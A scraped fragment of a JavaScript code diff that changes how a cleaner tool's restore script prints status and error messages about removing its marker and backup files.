if (flagOk && backupOk) {
|
|
170
|
-
|
|
190
|
+
out(core.green("Removed .cleaner_done and CLEANER_BACKUP.md."));
|
|
171
191
|
} else {
|
|
172
|
-
|
|
192
|
+
errOut(
|
|
173
193
|
core.yellow(
|
|
174
194
|
"Warning: restore finished but could not remove .cleaner_done and/or backup file.",
|
|
175
195
|
),
|
|
@@ -178,6 +198,6 @@ async function main() {
|
|
|
178
198
|
}
|
|
179
199
|
|
|
180
200
|
main().catch((err) => {
|
|
181
|
-
|
|
201
|
+
errOut(core.red(err && err.message ? err.message : String(err)));
|
|
182
202
|
process.exitCode = 1;
|
|
183
203
|
});
|